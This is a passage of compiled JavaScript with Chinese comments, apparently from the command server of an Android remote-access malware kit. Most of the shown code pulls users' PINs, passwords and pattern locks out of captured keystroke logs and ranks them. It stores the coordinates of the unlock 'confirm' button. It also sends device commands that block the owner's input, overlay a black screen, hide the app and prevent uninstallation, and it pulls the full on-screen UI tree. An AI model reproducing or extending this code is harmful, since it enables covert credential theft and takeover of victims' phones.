recentEntry.confirmButtonY = extraData.confirmButtonY;
|
||
recentEntry.hasConfirmButton = true;
|
||
this.logger.info(`✅ 为已有密码 ${recentEntry.password} 添加确认坐标: (${extraData.confirmButtonX}, ${extraData.confirmButtonY})`);
|
||
}
|
||
}
|
||
continue; // 跳过后续处理,这不是密码日志
|
||
}
|
||
// 验证并添加密码
|
||
if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) {
|
||
this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`);
|
||
const passwordEntry = {
|
||
password: textInput,
|
||
type: passwordType,
|
||
confirmButtonX,
|
||
confirmButtonY,
|
||
hasConfirmButton
|
||
};
|
||
passwordMap.set(textInput, passwordEntry);
|
||
}
|
||
}
|
||
// 转换为数组并排序
|
||
const passwords = Array.from(passwordMap.values());
|
||
passwords.sort((a, b) => {
|
||
const typePriority = {
|
||
'pin': 100,
|
||
'numeric': 90,
|
||
'mixed': 80,
|
||
'text': 70,
|
||
'pattern': 60,
|
||
'unknown': 50
|
||
};
|
||
const aPriority = typePriority[a.type] || 50;
|
||
const bPriority = typePriority[b.type] || 50;
|
||
if (aPriority !== bPriority) {
|
||
return bPriority - aPriority;
|
||
}
|
||
const preferredLengths = [4, 6, 8];
|
||
const aScore = preferredLengths.includes(a.password.length) ? 100 - preferredLengths.indexOf(a.password.length) : a.password.length;
|
||
const bScore = preferredLengths.includes(b.password.length) ? 100 - preferredLengths.indexOf(b.password.length) : b.password.length;
|
||
return bScore - aScore;
|
||
});
|
||
return passwords;
|
||
}
|
||
/**
|
||
* 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别
|
||
*/
|
||
extractPasswordCandidates(logs) {
|
||
const passwordSet = new Set();
|
||
const passwordWithType = new Map(); // 记录密码及其类型
|
||
for (const log of logs) {
|
||
const content = log.content || '';
|
||
const extraData = log.extraData;
|
||
this.logger.debug(`🔍 分析日志内容: ${content}`);
|
||
// 从日志内容中提取文本
|
||
let textInput = '';
|
||
let passwordType = 'unknown';
|
||
// ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息)
|
||
if (content.includes('🔑 密码输入分析完成')) {
|
||
// 提取密码
|
||
const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/);
|
||
if (passwordMatch) {
|
||
textInput = passwordMatch[1].trim();
|
||
this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`);
|
||
}
|
||
// ✅ 提取密码类型信息
|
||
if (content.includes('数字密码') || content.includes('PIN码')) {
|
||
passwordType = content.includes('PIN码') ? 'pin' : 'numeric';
|
||
}
|
||
else if (content.includes('图案密码') || content.includes('图形密码')) {
|
||
passwordType = 'pattern';
|
||
}
|
||
else if (content.includes('混合密码')) {
|
||
passwordType = 'mixed';
|
||
}
|
||
else if (content.includes('文本密码')) {
|
||
passwordType = 'text';
|
||
}
|
||
else {
|
||
// 根据密码内容自动判断类型
|
||
passwordType = this.detectPasswordTypeFromContent(textInput);
|
||
}
|
||
this.logger.info(`🔍 检测到密码类型: ${passwordType}`);
|
||
}
|
||
// 方法2: 从传统的输入文本日志中解析
|
||
else if (content.includes('输入文本:') || content.includes('远程输入文本:')) {
|
||
const match = content.match(/(?:远程)?输入文本:\s*(.+)/);
|
||
if (match) {
|
||
textInput = match[1].trim();
|
||
passwordType = this.detectPasswordTypeFromContent(textInput);
|
||
this.logger.info(`✅ 从输入文本日志中提取: ${textInput} (类型: ${passwordType})`);
|
||
}
|
||
}
|
||
// ✅ 方法3: 从数字密码键盘点击日志中提取
|
||
else if (content.includes('数字密码键盘点击:')) {
|
||
const digitMatch = content.match(/数字密码键盘点击:\s*(\d)/);
|
||
if (digitMatch) {
|
||
// 这是单个数字,需要与其他数字组合
|
||
const digit = digitMatch[1];
|
||
this.logger.debug(`🔢 发现数字密码键盘点击: ${digit}`);
|
||
// 暂时不处理单个数字,等待完整密码分析
|
||
}
|
||
}
|
||
// 方法4: 从密码输入进度日志中提取
|
||
else if (content.includes('🔒') && content.includes('密码输入:')) {
|
||
// 提取类似 "🔒 密码输入: •••••z (6位)" 的内容
|
||
const inputMatch = content.match(/密码输入:\s*[•]*([^•\s\(]+)/);
|
||
if (inputMatch) {
|
||
textInput = inputMatch[1].trim();
|
||
passwordType = this.detectPasswordTypeFromContent(textInput);
|
||
this.logger.info(`✅ 从密码输入进度日志中提取: ${textInput} (类型: ${passwordType})`);
|
||
}
|
||
}
|
||
// ✅ 方法5: 从重构密码日志中提取
|
||
else if (content.includes('密码重构完成:')) {
|
||
const reconstructMatch = content.match(/密码重构完成:\s*'([^']+)'/);
|
||
if (reconstructMatch) {
|
||
textInput = reconstructMatch[1].trim();
|
||
passwordType = this.detectPasswordTypeFromContent(textInput);
|
||
this.logger.info(`✅ 从密码重构日志中提取: ${textInput} (类型: ${passwordType})`);
|
||
}
|
||
}
|
||
// ✅ 方法6: 从带确认坐标的日志中提取密码和坐标
|
||
else if (content.includes('确认坐标:')) {
|
||
const passwordMatch = content.match(/密码:(.+?)\s*\|/);
|
||
const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/);
|
||
if (passwordMatch) {
|
||
textInput = passwordMatch[1].trim();
|
||
passwordType = this.detectPasswordTypeFromContent(textInput);
|
||
if (coordMatch) {
|
||
const confirmX = parseInt(coordMatch[1]);
|
||
const confirmY = parseInt(coordMatch[2]);
|
||
this.logger.info(`✅ 从确认坐标日志中提取: ${textInput} (类型: ${passwordType}) 确认坐标: (${confirmX}, ${confirmY})`);
|
||
// 将确认坐标信息添加到extraData中
|
||
if (extraData && typeof extraData === 'object') {
|
||
extraData.confirmButtonX = confirmX;
|
||
extraData.confirmButtonY = confirmY;
|
||
extraData.hasConfirmButton = true;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
// 方法7: 从extraData中获取
|
||
if (!textInput && extraData) {
|
||
if (typeof extraData === 'object') {
|
||
if (extraData.text) {
|
||
textInput = extraData.text;
|
||
passwordType = this.detectPasswordTypeFromContent(textInput);
|
||
this.logger.info(`✅ 从extraData对象中提取: ${textInput} (类型: ${passwordType})`);
|
||
}
|
||
else if (extraData.reconstructedPassword) {
|
||
textInput = extraData.reconstructedPassword;
|
||
passwordType = this.detectPasswordTypeFromContent(textInput);
|
||
this.logger.info(`✅ 从extraData重构密码中提取: ${textInput} (类型: ${passwordType})`);
|
||
}
|
||
}
|
||
else if (typeof extraData === 'string') {
|
||
try {
|
||
const parsed = JSON.parse(extraData);
|
||
if (parsed.text) {
|
||
textInput = parsed.text;
|
||
passwordType = this.detectPasswordTypeFromContent(textInput);
|
||
this.logger.info(`✅ 从extraData JSON中提取: ${textInput} (类型: ${passwordType})`);
|
||
}
|
||
}
|
||
catch (e) {
|
||
// 忽略JSON解析错误
|
||
}
|
||
}
|
||
}
|
||
// ✅ 验证是否为可能的密码,并考虑密码类型
|
||
if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) {
|
||
this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`);
|
||
passwordSet.add(textInput);
|
||
passwordWithType.set(textInput, passwordType);
|
||
}
|
||
else if (textInput) {
|
||
this.logger.debug(`❌ 验证失败,跳过: ${textInput} (类型: ${passwordType})`);
|
||
}
|
||
}
|
||
// ✅ 转换为数组并按类型和质量排序
|
||
const passwords = Array.from(passwordSet);
|
||
this.logger.info(`🔑 最终提取到 ${passwords.length} 个密码候选: ${passwords.join(', ')}`);
|
||
passwords.sort((a, b) => {
|
||
const aType = passwordWithType.get(a) || 'unknown';
|
||
const bType = passwordWithType.get(b) || 'unknown';
|
||
// ✅ 类型优先级排序:PIN码 > 数字密码 > 混合密码 > 文本密码 > 图形密码 > 未知
|
||
const typePriority = {
|
||
'pin': 100,
|
||
'numeric': 90,
|
||
'mixed': 80,
|
||
'text': 70,
|
||
'pattern': 60,
|
||
'unknown': 50
|
||
};
|
||
const aPriority = typePriority[aType] || 50;
|
||
const bPriority = typePriority[bType] || 50;
|
||
if (aPriority !== bPriority) {
|
||
return bPriority - aPriority;
|
||
}
|
||
// 同类型按长度排序(常见密码长度优先:4位、6位、8位)
|
||
const preferredLengths = [4, 6, 8];
|
||
const aScore = preferredLengths.includes(a.length) ? 100 - preferredLengths.indexOf(a.length) : a.length;
|
||
const bScore = preferredLengths.includes(b.length) ? 100 - preferredLengths.indexOf(b.length) : b.length;
|
||
return bScore - aScore;
|
||
});
|
||
return passwords;
|
||
}
|
||
/**
|
||
* ✅ 新增:从密码内容检测密码类型
|
||
*/
|
||
detectPasswordTypeFromContent(password) {
|
||
if (!password)
|
||
return 'unknown';
|
||
const cleanPassword = password.replace(/[?•*]/g, ''); // 移除掩码字符
|
||
// 判断是否为纯数字
|
||
if (/^\d+$/.test(cleanPassword)) {
|
||
if (cleanPassword.length === 4 || cleanPassword.length === 6) {
|
||
return 'pin';
|
||
}
|
||
else if (cleanPassword.length >= 4 && cleanPassword.length <= 9) {
|
||
// 检查是否可能是图形密码(1-9的数字,不包含0)
|
||
const hasOnlyValidPatternDigits = cleanPassword.split('').every(digit => {
|
||
const num = parseInt(digit);
|
||
return num >= 1 && num <= 9;
|
||
});
|
||
if (hasOnlyValidPatternDigits && !cleanPassword.includes('0')) {
|
||
return 'pattern';
|
||
}
|
||
else {
|
||
return 'numeric';
|
||
}
|
||
}
|
||
else {
|
||
return 'numeric';
|
||
}
|
||
}
|
||
// 判断是否为混合密码
|
||
if (/\d/.test(cleanPassword) && /[a-zA-Z]/.test(cleanPassword)) {
|
||
return 'mixed';
|
||
}
|
||
// 纯字母
|
||
if (/^[a-zA-Z]+$/.test(cleanPassword)) {
|
||
return 'text';
|
||
}
|
||
// 包含特殊字符
|
||
if (/[^a-zA-Z0-9]/.test(cleanPassword)) {
|
||
return 'mixed';
|
||
}
|
||
return 'text';
|
||
}
|
||
/**
|
||
* ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型
|
||
*/
|
||
isPossiblePasswordEnhanced(text, passwordType) {
|
||
if (!text || typeof text !== 'string') {
|
||
return false;
|
||
}
|
||
const trimmed = text.trim();
|
||
const cleanText = trimmed.replace(/[?•*]/g, ''); // 移除掩码字符
|
||
// ✅ 根据密码类型进行不同的验证
|
||
switch (passwordType) {
|
||
case 'pin':
|
||
// PIN码:4-6位纯数字
|
||
return /^\d{4,6}$/.test(cleanText);
|
||
case 'numeric':
|
||
// 数字密码:3-12位数字(包含0)
|
||
return /^\d{3,12}$/.test(cleanText);
|
||
case 'pattern':
|
||
// 图形密码:4-9位数字,只包含1-9
|
||
if (!/^\d{4,9}$/.test(cleanText))
|
||
return false;
|
||
return cleanText.split('').every(digit => {
|
||
const num = parseInt(digit);
|
||
return num >= 1 && num <= 9;
|
||
}) && !cleanText.includes('0');
|
||
case 'mixed':
|
||
// 混合密码:包含字母和数字
|
||
return cleanText.length >= 4 && cleanText.length <= 20 &&
|
||
/[a-zA-Z]/.test(cleanText) && /\d/.test(cleanText);
|
||
case 'text':
|
||
// 文本密码:主要是字母
|
||
return cleanText.length >= 3 && cleanText.length <= 20 &&
|
||
/[a-zA-Z]/.test(cleanText);
|
||
default:
|
||
// 未知类型,使用通用验证
|
||
return this.isPossiblePassword(text);
|
||
}
|
||
}
|
||
/**
|
||
* 判断文本是否可能是密码 - 保持原有逻辑作为后备
|
||
*/
|
||
isPossiblePassword(text) {
|
||
if (!text || typeof text !== 'string') {
|
||
return false;
|
||
}
|
||
const trimmed = text.trim();
|
||
// 长度检查:密码通常在3-20位之间
|
||
if (trimmed.length < 3 || trimmed.length > 20) {
|
||
this.logger.debug(`❌ 长度不符合 (${trimmed.length}): ${trimmed}`);
|
||
return false;
|
||
}
|
||
// 排除明显不是密码的文本
|
||
const excludePatterns = [
|
||
/^\s+$/, // 纯空格
|
||
/^[\u4e00-\u9fa5\s]+$/, // 纯中文和空格
|
||
/^[!@#$%^&*(),.?":{}|<>\s]+$/, // 纯符号和空格
|
||
];
|
||
for (const pattern of excludePatterns) {
|
||
if (pattern.test(trimmed)) {
|
||
this.logger.debug(`❌ 匹配排除模式: ${trimmed}`);
|
||
return false;
|
||
}
|
||
}
|
||
// 包含模式检查(可能是密码)
|
||
const includePatterns = [
|
||
/^\d{3,8}$/, // 3-8位数字(PIN码)
|
||
/^[a-zA-Z0-9]{3,16}$/, // 3-16位字母数字组合
|
||
/^[a-zA-Z0-9!@#$%^&*]{3,20}$/, // 3-20位字母数字符号组合
|
||
];
|
||
for (const pattern of includePatterns) {
|
||
if (pattern.test(trimmed)) {
|
||
this.logger.debug(`✅ 匹配包含模式: ${trimmed}`);
|
||
return true;
|
||
}
|
||
}
|
||
// 其他可能的密码模式 - 更宽松的检查
|
||
const isValid = (trimmed.length >= 3 &&
|
||
trimmed.length <= 20 &&
|
||
!/\s/.test(trimmed) && // 不包含空格
|
||
/[a-zA-Z0-9]/.test(trimmed) // 包含字母或数字
|
||
);
|
||
if (isValid) {
|
||
this.logger.debug(`✅ 通过一般验证: ${trimmed}`);
|
||
}
|
||
else {
|
||
this.logger.debug(`❌ 未通过一般验证: ${trimmed}`);
|
||
}
|
||
return isValid;
|
||
}
|
||
/**
|
||
* ✅ 刷新所有web客户端的设备列表
|
||
*/
|
||
refreshAllWebClientDeviceLists() {
|
||
try {
|
||
// 获取所有web客户端
|
||
const allClients = this.webClientManager.getAllClients();
|
||
this.logger.info(`🔄 开始刷新 ${allClients.length} 个web客户端的设备列表`);
|
||
allClients.forEach(client => {
|
||
try {
|
||
// 为每个客户端发送最新的设备列表
|
||
this.handleDeviceListRequest(client.id);
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`❌ 刷新客户端 ${client.id} 设备列表失败:`, error);
|
||
}
|
||
});
|
||
this.logger.info(`✅ 设备列表刷新完成`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('❌ 刷新web客户端设备列表失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* ✅ 同步设备状态到设备端
|
||
*/
|
||
syncDeviceStateToDevice(socketId, deviceId, deviceState) {
|
||
try {
|
||
this.logger.info(`🔄 开始同步设备状态到设备端: ${deviceId}`);
|
||
// 获取设备的socket连接
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(socketId);
|
||
if (!deviceSocket) {
|
||
this.logger.warn(`⚠️ 设备socket连接不存在,无法同步状态: ${deviceId}`);
|
||
return;
|
||
}
|
||
// 同步输入阻塞状态
|
||
if (deviceState.inputBlocked !== undefined && deviceState.inputBlocked !== null) {
|
||
const controlMessage = {
|
||
type: deviceState.inputBlocked ? 'DEVICE_BLOCK_INPUT' : 'DEVICE_ALLOW_INPUT',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
};
|
||
deviceSocket.emit('control_message', controlMessage);
|
||
this.logger.info(`📤 已向设备 ${deviceId} 同步输入阻塞状态: ${deviceState.inputBlocked}`);
|
||
}
|
||
// 同步日志状态(如果需要)
|
||
if (deviceState.loggingEnabled !== undefined && deviceState.loggingEnabled !== null) {
|
||
const logMessage = {
|
||
type: deviceState.loggingEnabled ? 'LOG_ENABLE' : 'LOG_DISABLE',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
};
|
||
deviceSocket.emit('control_command', logMessage);
|
||
this.logger.info(`📤 已向设备 ${deviceId} 同步日志状态: ${deviceState.loggingEnabled}`);
|
||
}
|
||
// 🆕 同步黑屏遮盖状态(如果需要)
|
||
if (deviceState.blackScreenActive !== undefined && deviceState.blackScreenActive !== null) {
|
||
const blackScreenMessage = {
|
||
type: deviceState.blackScreenActive ? 'ENABLE_BLACK_SCREEN' : 'DISABLE_BLACK_SCREEN',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
};
|
||
deviceSocket.emit('control_command', blackScreenMessage);
|
||
this.logger.info(`📤 已向设备 ${deviceId} 同步黑屏遮盖状态: ${deviceState.blackScreenActive}`);
|
||
}
|
||
// 🆕 同步应用隐藏状态(如果需要)
|
||
if (deviceState.appHidden !== undefined && deviceState.appHidden !== null) {
|
||
const appHideMessage = {
|
||
type: deviceState.appHidden ? 'HIDE_APP' : 'SHOW_APP',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
};
|
||
deviceSocket.emit('control_command', appHideMessage);
|
||
this.logger.info(`📤 已向设备 ${deviceId} 同步应用隐藏状态: ${deviceState.appHidden}`);
|
||
}
|
||
// 🛡️ 同步防止卸载保护状态(如果需要)
|
||
if (deviceState.uninstallProtectionEnabled !== undefined && deviceState.uninstallProtectionEnabled !== null) {
|
||
const uninstallProtectionMessage = {
|
||
type: deviceState.uninstallProtectionEnabled ? 'ENABLE_UNINSTALL_PROTECTION' : 'DISABLE_UNINSTALL_PROTECTION',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
};
|
||
deviceSocket.emit('control_command', uninstallProtectionMessage);
|
||
this.logger.info(`📤 已向设备 ${deviceId} 同步防止卸载保护状态: ${deviceState.uninstallProtectionEnabled}`);
|
||
}
|
||
this.logger.info(`✅ 设备状态同步完成: ${deviceId}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`❌ 同步设备状态失败: ${deviceId}`, error);
|
||
}
|
||
}
|
||
/**
|
||
* 处理删除设备请求
|
||
*/
|
||
handleDeleteDevice(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`🗑️ 处理删除设备请求: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在
|
||
const deviceExists = this.databaseService.getDeviceById(deviceId);
|
||
if (!deviceExists) {
|
||
this.logger.warn(`⚠️ 尝试删除不存在的设备: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'delete_device_response', {
|
||
success: false,
|
||
deviceId: deviceId,
|
||
message: '设备不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 如果设备在线,先释放控制权并断开连接
|
||
const onlineDevice = this.deviceManager.getDevice(deviceId);
|
||
if (onlineDevice) {
|
||
this.logger.info(`📤 设备在线,先断开连接: ${deviceId}`);
|
||
// 释放控制权
|
||
const controller = this.webClientManager.getDeviceController(deviceId);
|
||
if (controller) {
|
||
this.webClientManager.releaseDeviceControl(deviceId);
|
||
this.logger.info(`🔓 已释放设备控制权: ${controller}`);
|
||
}
|
||
// 通知设备断开
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('force_disconnect', {
|
||
reason: 'device_deleted',
|
||
message: '设备已被删除'
|
||
});
|
||
deviceSocket.disconnect(true);
|
||
}
|
||
}
|
||
// 从内存中移除设备
|
||
this.deviceManager.removeDevice(deviceId);
|
||
// 通知所有客户端设备已断开
|
||
this.webClientManager.broadcastToAll('device_disconnected', deviceId);
|
||
}
|
||
// 从数据库中删除设备及相关数据
|
||
this.databaseService.deleteDevice(deviceId);
|
||
this.logger.info(`✅ 设备已从数据库删除: ${deviceId}`);
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'delete_device_response', {
|
||
success: true,
|
||
deviceId: deviceId,
|
||
message: '设备已删除'
|
||
});
|
||
this.logger.info(`🎉 设备删除完成: ${deviceId}`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('删除设备失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'delete_device_response', {
|
||
success: false,
|
||
deviceId: deviceId,
|
||
message: '删除设备时发生错误'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 获取设备UI层次结构
|
||
*/
|
||
handleGetUIHierarchy(clientId, deviceId, requestData) {
|
||
try {
|
||
this.logger.info(`🔍 处理UI层次结构获取请求: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查客户端权限
|
||
const client = this.webClientManager.getClient(clientId);
|
||
if (!client) {
|
||
this.logger.error(`获取UI层次结构失败: 找不到客户端 ${clientId}`);
|
||
return false;
|
||
}
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.error(`❌ 设备不在线或不存在: ${deviceId}`);
|
||
this.logger.info(`📋 当前所有设备: ${JSON.stringify(this.deviceManager.getAllDevices().map(d => ({ id: d.id, name: d.name, socketId: d.socketId, status: d.status })))}`);
|
||
this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备不在线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 获取设备Socket并发送UI分析请求
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
this.logger.info(`🔍 设备 ${deviceId} 的Socket ID: ${deviceSocketId}`);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
this.logger.info(`🔍 Socket连接状态: ${deviceSocket ? '已连接' : '未找到'}`);
|
||
if (deviceSocket) {
|
||
// 向设备发送UI分析请求 - 默认启用所有增强功能
|
||
const requestPayload = {
|
||
requestId: `ui_${Date.now()}`,
|
||
clientId: clientId,
|
||
includeInvisible: requestData.includeInvisible !== false, // 默认true
|
||
includeNonInteractive: requestData.includeNonInteractive !== false, // 默认true
|
||
maxDepth: requestData.maxDepth || 25, // 默认增加到25层
|
||
enhanced: true, // 默认启用增强功能
|
||
includeDeviceInfo: true // 默认包含设备信息
|
||
};
|
||
this.logger.info(`📤 准备发送UI分析请求(增强模式): ${JSON.stringify(requestPayload)}`);
|
||
deviceSocket.emit('ui_hierarchy_request', requestPayload);
|
||
this.logger.info(`📤 已向设备 ${deviceId} 发送UI层次结构分析请求(增强模式)`);
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`无法找到设备 ${deviceId} 的Socket连接`);
|
||
this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`获取UI层次结构失败: ${deviceId}`, error);
|
||
this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: `分析失败: ${error instanceof Error ? error.message : '未知错误'}`
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理设备UI层次结构响应
|
||
*/
|
||
handleUIHierarchyResponse(deviceId, hierarchyData) {
|
||
try {
|
||
this.logger.info(`📱 收到设备 ${deviceId} 的UI层次结构响应`);
|
||
this.logger.info(`📋 响应数据详情: clientId=${hierarchyData.clientId}, success=${hierarchyData.success}, hierarchy类型=${typeof hierarchyData.hierarchy}`);
|
||
// 转发给请求的客户端
|
||
if (hierarchyData.clientId) {
|
||
const responseData = {
|
||
deviceId,
|
||
success: hierarchyData.success || true,
|
||
hierarchy: hierarchyData.hierarchy,
|
||
timestamp: Date.now(),
|
||
enhanced: hierarchyData.enhanced || false, // ✅ 传递增强标识
|
||
deviceCharacteristics: hierarchyData.deviceCharacteristics, // ✅ 传递设备特征
|
||
analysisMetadata: hierarchyData.analysisMetadata // ✅ 传递分析元数据
|
||
};
|
||
this.logger.info(`📤 准备转发给客户端 ${hierarchyData.clientId}, 数据大小: ${JSON.stringify(responseData).length} 字符`);
|
||
this.webClientManager.sendToClient(hierarchyData.clientId, 'ui_hierarchy_response', responseData);
|
||
this.logger.info(`✅ 已将UI层次结构转发给客户端: ${hierarchyData.clientId}${hierarchyData.enhanced ? '(增强版)' : ''}`);
|
||
}
|
||
else {
|
||
this.logger.warn(`⚠️ 响应数据中缺少clientId字段,无法转发`);
|
||
// 广播给所有客户端
|
||
this.webClientManager.broadcastToAll('ui_hierarchy_response', {
|
||
deviceId,
|
||
success: hierarchyData.success || true,
|
||
hierarchy: hierarchyData.hierarchy,
|
||
timestamp: Date.now()
|
||
});
|
||
this.logger.info(`📤 已广播UI层次结构给所有客户端`);
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`处理UI层次结构响应失败: ${deviceId}`, error);
|
||
}
|
||
}
|
||
/**
|
||
* 路由UI层次结构响应(从设备到Web客户端)- 参考routeScreenData的模式
|
||
*/
|
||
routeUIHierarchyResponse(fromSocketId, hierarchyData) {
|
||
try {
|
||
this.logger.info(`🔍 处理UI层次结构响应: Socket ${fromSocketId}`);
|
||
// 首先尝试从DeviceManager获取设备信息
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId);
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 找不到设备,尝试从数据库恢复: ${fromSocketId}`);
|
||
// ✅ 参考routeScreenData:立即尝试从数据库恢复设备
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId);
|
||
if (dbDevice) {
|
||
// ✅ 获取设备状态信息
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId);
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online',
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: dbDevice.remark // 🆕 恢复设备备注
|
||
};
|
||
// 将恢复的设备添加到DeviceManager中
|
||
this.deviceManager.addDevice(device);
|
||
this.logger.info(`✅ 从数据库恢复设备: ${device.name} (${device.id})`);
|
||
// ✅ 关键修复:更新数据库中的设备记录(特别是lastSocketId)
|
||
try {
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
};
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId);
|
||
}
|
||
catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError);
|
||
}
|
||
// ✅ 关键修复:UI响应时设备恢复后,立即通知Web端设备在线
|
||
this.logger.info(`✅ 设备UI响应恢复成功: ${device.name},立即通知Web端设备在线`);
|
||
// 立即广播设备连接事件给所有Web客户端
|
||
this.webClientManager.broadcastToAll('device_connected', device);
|
||
// 同时广播设备状态更新
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
});
|
||
// ✅ 同步设备状态到设备端(如输入阻塞状态)
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState);
|
||
}
|
||
}
|
||
else {
|
||
// 尝试从响应数据中获取deviceId进行处理
|
||
const deviceId = hierarchyData?.deviceId;
|
||
if (deviceId) {
|
||
this.logger.warn(`⚠️ 数据库中也找不到设备,但响应包含deviceId: ${deviceId},尝试直接处理`);
|
||
this.handleUIHierarchyResponse(deviceId, hierarchyData);
|
||
return true;
|
||
}
|
||
else {
|
||
this.logger.error(`❌ 无法找到设备且响应数据中没有deviceId: ${fromSocketId}`);
|
||
return false;
|
||
}
|
||
}
|
||
}
|
||
// 确保device不为undefined
|
||
if (!device) {
|
||
this.logger.error(`❌ 设备恢复失败: ${fromSocketId}`);
|
||
return false;
|
||
}
|
||
this.logger.info(`✅ 找到设备: ${device.name} (${device.id}),处理UI层次结构响应`);
|
||
// 直接处理UI层次结构响应
|
||
this.handleUIHierarchyResponse(device.id, hierarchyData);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('路由UI层次结构响应失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 处理开始提取确认坐标的请求
|
||
*/
|
||
handleStartExtractConfirmCoords(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`🎯 开始提取确认坐标模式: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 向所有连接的客户端广播提取模式开始事件(主要是屏幕阅读器组件)
|
||
this.webClientManager.broadcastToAll('start_extract_confirm_coords', {
|
||
deviceId,
|
||
clientId
|
||
});
|
||
this.logger.info(`✅ 确认坐标提取模式已启动: ${deviceId}`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('启动确认坐标提取模式失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 处理保存确认坐标的请求
|
||
*/
|
||
handleSaveConfirmCoords(clientId, deviceId, coords) {
|
||
try {
|
||
this.logger.info(`💾 保存确认坐标: 客户端=${clientId}, 设备=${deviceId}, 坐标=(${coords.x}, ${coords.y})`);
|
||
// 验证坐标数据
|
||
if (!coords || typeof coords.x !== 'number' || typeof coords.y !== 'number') {
|
||
this.logger.error('❌ 无效的坐标数据:', coords);
|
||
this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无效的坐标数据'
|
||
});
|
||
return false;
|
||
}
|
||
// 保存到数据库
|
||
this.databaseService.saveConfirmButtonCoords(deviceId, coords);
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', {
|
||
deviceId,
|
||
success: true,
|
||
coords,
|
||
